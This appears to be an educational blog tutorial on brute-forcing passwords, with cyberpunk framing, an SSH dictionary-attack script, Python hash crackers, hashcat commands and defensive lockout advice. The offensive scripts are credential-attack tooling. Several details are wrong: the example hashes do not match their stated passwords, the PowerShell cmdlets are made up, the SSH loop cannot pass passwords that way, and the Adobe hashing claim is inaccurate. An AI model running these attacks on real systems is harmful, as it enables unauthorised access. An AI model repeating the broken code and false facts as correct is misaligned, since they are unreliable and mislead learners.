Skillfade Logo

Brute Forcing Passwords

⏳ 8 min read

Table of Contents

    Cybersecurity Illustration

    You plunge through neon, rain-lashed alleys of cyberspace, your vision alight with phosphor-blue code and flickering signs in foreign scripts. The hum of generators, the smell of ozone, the taste of static in your tongue. A thousand terminals blink, each one guarding some secret password, some gate into a fortress. You’re crouched behind screens, fingers dancing across keys, heart pounding, you are the hunter stalking the shadow, the hacker, learning to force open doors that others lock, for knowledge, for skill, for understanding.

    In this electric twilight of firewalls and authentication prompts, brute forcing is the art of battering the door, not with finesse, but with relentless persistence. It is the method by which one tests every conceivable key, every possible word, every pattern until the lock clicks open. For new cybersecurity enthusiasts, it is a dark initiation into what is possible and what is forbidden, what is legal and what will get you locked behind bars. We illuminate this path tonight, showing both how brute forcing works, how defenders fight back, so you may walk with wisdom, not fear.


    What Is Brute-Forcing Passwords

    Brute forcing means trying many passwords or passphrases with the hope that one of them will be correct. It often involves:

    • Dictionary attacks, using pre-compiled lists of likely passwords
    • Mask attacks, leveraging patterns like “Year + Name + Symbol”
    • Exhaustive search, generating all combinations for a set of characters

    Brute forcing is simple in concept yet formidable in execution. For low-complexity targets or weak passwords it may succeed quickly. For strong passwords, impossibly long ones, or systems with countermeasures, it becomes impractical or illegal.


    The examples below are for educational purposes only. Attempting unauthorised access to systems or passwords is illegal and unethical. Always have explicit permission, for example in a CTF (Capture The Flag) exercise, your own lab setups, or during authorised penetration-tests. Do not misuse these techniques.


    Practical Mechanics and Code Snippets

    Here are tools or code-snippets to illustrate how brute forcing works in controlled settings.

    Bash Example: Simple Dictionary Attack

    bash
    #!/bin/bash
    
    wordlist="passwords.txt"
    target="10.0.0.5"    # replace with authorised lab IP
    user="admin"
    
    while read -r pass; do
        if ssh -o ConnectTimeout=5 $user@$target "exit" 2>/dev/null <<< "$pass"; then
            echo "Password found: $pass"
            break
        fi
    done < "$wordlist"
    

    This script reads possible passwords, attempts to SSH into a designated machine, stops when the correct password is found. Use only in environments you own or have permission to test.

    Python Example: Brute-Force Local Script

    python
    import hashlib
    import itertools
    import string
    
    hash_target = "5e884898da28047151d0e56f8dc6292773603d0d"
    # SHA1 hash of "password"
    
    def sha1_hash(s):
        return hashlib.sha1(s.encode()).hexdigest()
    
    chars = string.ascii_lowercase + string.digits
    max_length = 5
    
    for length in range(1, max_length + 1):
        for combo in itertools.product(chars, repeat=length):
            candidate = ''.join(combo)
            if sha1_hash(candidate) == hash_target:
                print(f"Found password: {candidate}")
                raise SystemExit
    

    This brute-forces SHA1 hash locally by generating combinations up to length 5. It is extremely slow beyond modest length or character sets.


    Methods, Strengths and Weaknesses

    Method Strengths Weaknesses
    Dictionary attack Fast if password is common, leverages known lists Fails on random or well-constructed passwords
    Mask attack Narrows search space using patterns Requires knowledge or guess of structure
    Exhaustive search Guarantees success eventually for short passwords Explosive time and resource cost for long or complex ones

    Defending Against Brute-Force

    To stay ahead, the defenders build bulwarks of code and policy:

    1. Use strong, high-entropy passwords or passphrases
      Longer is better, include upper-case, lower-case, digits, symbols. Prefer passphrases, four or more words, and avoid predictable substitutions.

    2. Implement account lockout or throttling
      After a number of failed attempts temporarily block login or increase delay. This reduces speed of brute forcing.

    3. Use multi-factor authentication (MFA)
      Even if the password is discovered brute-force, MFA factor stops unauthorised access.

    4. Rate-limit authentication attempts
      Limit requests per IP, per user. Use CAPTCHAs, token challenge systems.

    5. Monitor logs and alert anomalies
      Sudden bursts of failed logins, multiple sources, repeated attempts from one account, these should trip alarm bells.

    6. Use hashing with salts and strong algorithms
      If storing passwords, never store plain text. Use salted hashes with slow hash functions (bcrypt, scrypt, Argon2).


    Code Example: Defender’s PowerShell to Enforce Lockout Policy

    Here’s how an administrator might configure lockout policies on Windows with PowerShell, to impede brute forcing:

    powershell
    # Requires running as Administrator
    
    $secPol = Get-ItemProperty "HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters"
    # Example settings (may vary per Windows version)
    
    # Configure account lockout threshold
    secedit /configure /cfg C:\\Temp\\secpol.inf /db secpol.sdb
    
    # Or directly using Local Security Policy cmdlets in newer OS versions:
    Import-Module LocalPolicies
    
    Set-LSCPolicy -Name "LockoutBadCount" -Value 5
    Set-LSCPolicy -Name "ResetBadCountInterval" -Value 30
    Set-LSCPolicy -Name "LockoutDuration" -Value 15
    

    This sets account lockout after 5 bad attempts, resets counter after 30 minutes, locks out for 15. Such settings slow brute forcing substantially.


    Case Studies and Insights

    • In 2012, Adobe data breach exposed millions of user records with SHA1 hashed passwords, many protected only by weak or reused passwords. Those using simple words or birthdays were vulnerable to dictionary attacks.
    • The infamous rockyou.txt list demonstrates how often terrible passwords are recycled. It also shows how fast dictionary attacks can succeed when users adopt common words.

    Improving Your Skills in Brute-Forcing Passwords: A Practical Guide

    Aim

    To equip you with hands-on understanding and capability in performing and defending against brute-force attacks on passwords.


    Learning Outcomes

    By the end of this guide you will be able to:
    - Understand the different brute-force techniques, such as dictionary attack, character set brute-force, and hybrid attack
    - Use tools and write scripts to perform brute-force attacks in controlled environments
    - Recognise vulnerabilities in password policy, hashing and storage that enable brute-force exploitation
    - Apply mitigation strategies such as account lock-out, rate limiting, salting, and use of strong hashing functions


    Prerequisites

    You must have:
    - Basic knowledge of command-line usage in Linux or Windows PowerShell
    - Familiarity with scripting in Python (reading and writing)
    - A test environment: an isolated machine or virtual machine with no connection to sensitive systems
    - A sample user database with hashed passwords (e.g. bcrypt, MD5, SHA-256)
    - A wordlist file (for dictionary attacks), such as rockyou.txt


    Step-By-Step Instructions

    1. Select a Target Password Hash for Testing

    Choose a hash algorithm used in your test database. For example:

    python
    # Python: hashing a password to simulate target
    import hashlib
    
    password = "P@ssw0rd123"
    hash_md5 = hashlib.md5(password.encode()).hexdigest()
    print("MD5 hash:", hash_md5)
    
    hash_sha256 = hashlib.sha256(password.encode()).hexdigest()
    print("SHA-256 hash:", hash_sha256)
    

    Store the output as your target hash to attack.


    2. Perform a Simple Dictionary Attack Using Bash and Hashcat

    bash
    # Using Hashcat to attempt dictionary attack against SHA-256 hash
    hashcat -m 1400 -a 0 target_hash.txt wordlist.txt
    
    • -m 1400 indicates SHA-256 mode
    • -a 0 indicates dictionary attack mode
    • target_hash.txt contains your test hash
    • wordlist.txt is your dictionary file

    Monitor the output to see if a match is found.


    3. Try Character-Set Brute-Force with Hashcat

    bash
    # Brute-forcing a 6-character lowercase password with hashcat
    hashcat -m 0 -a 3 target_hash.txt ?l?l?l?l?l?l
    
    • -m 0 indicates MD5
    • -a 3 indicates brute-force mode
    • ?l is lowercase alphabet character set

    This will try all combinations of six lowercase letters.


    4. Write a Python Script for Hybrid Attack

    python
    import hashlib
    import itertools
    
    wordlist = ["admin", "user", "test"]
    suffixes = ["123", "2025", "abc"]
    
    target_hash = "5e884898da28047151d0e56f8dc6292773603d0d6aabbdd868dcb27aae5c6d9f"  # hash of 'password123'
    
    for word in wordlist:
        for suf in suffixes:
            candidate = word + suf
            h = hashlib.sha256(candidate.encode()).hexdigest()
            if h == target_hash:
                print("Match found:", candidate)
                break
    

    This combines words and suffixes to expand the search space efficiently.


    5. Analyse Password Policy Weaknesses

    • Check whether minimum length is too low (e.g. 6 characters)
    • Verify whether complexity rules (upper, lower, digit, symbol) are enforced
    • Determine if account lock-out or delays are present after failed attempts

    6. Mitigation Techniques to Apply

    • Use strong hashing algorithms (bcrypt, Argon2) rather than MD5 or SHA1
    • Salt each password uniquely before hashing
    • Introduce rate limiting: e.g. limit attempts per minute per account or per source IP
    • Implement account lock-out or require CAPTCHA after several failed attempts
    • Encourage or force use of long passphrases rather than simple words

    7. Practice in a Controlled Lab

    • Set up a VM with sample users and hashed passwords
    • Try the dictionary, brute-force and hybrid attacks
    • Apply mitigating configurations (strong hash, salting, lock-outs)
    • Re-test to confirm the defences stop or slow down the attacks

    Final Thoughts

    Brute-forcing passwords is resource-intensive. Practical mastery depends on understanding both offensive tools and defensive controls. Use the examples above to sharpen your skills, always operating in legal safe environments. Continuous practice will build both speed and insight.

    You pull back from the terminal, sweat beading on your brow, under neon glare, and realise brute forcing is not the smoking-gun trick, it’s the final nail in weak design, poor policies, lazy passwords. As you sharpen your skills go always for responsibility, for assured permission, for building defences not just breaking locks. The real game lurks not in what you can break, but what you can protect.